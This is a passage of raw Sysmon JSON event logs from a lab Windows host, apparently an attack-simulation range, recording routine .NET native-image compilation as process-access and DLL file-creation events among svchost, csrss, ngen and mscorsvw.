C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.026","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00101DEF0E00}","TargetProcessId":"4900","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:07.151\r\nProcessGuid: {90617006-42FA-5F2D-0000-00101DEF0E00}\r\nProcessId: 4900\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1324-0\\System.Net.Http.WebRequest.dll\r\nCreationUtcTime: 2020-08-07 12:03:07.151","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:07.151","ProcessGuid":"{90617006-42FA-5F2D-0000-00101DEF0E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1324-0\\System.Net.Http.WebRequest.dll","CreationUtcTime":"2020-08-07 12:03:07.151","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-001028860D00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-001028860D00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-001028860D00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-001028860D00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42C2-5F2D-0000-001028860D00}\r\nTargetProcessId: 2444\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42C2-5F2D-0000-001028860D00}","TargetProcessId":"2444","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-0010A0F50E00}\r\nTargetProcessId: 4144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-0010A0F50E00}","TargetProcessId":"4144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7789,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-0010A0F50E00}\r\nTargetProcessId: 4144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-0010A0F50E00}","TargetProcessId":"4144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.355\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FB-5F2D-0000-0010A0F50E00}\r\nTargetProcessId: 4144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:07.355","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FB-5F2D-0000-0010A0F50E00}","TargetProcessId":"4144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:07.588\r\nProcessGuid: {90617006-42FB-5F2D-0000-0010A0F50E00}\r\nProcessId: 4144\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1030-0\\System.Numerics.dll\r\nCreationUtcTime: 2020-08-07 12:03:07.588","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:07.588","ProcessGuid":"{90617006-42FB-5F2D-0000-0010A0F50E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1030-0\\System.Numerics.dll","CreationUtcTime":"2020-08-07 12:03:07.588","EventReceivedTime":"2020-08-07 12:03:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:07.651\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-0010E5320E00}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|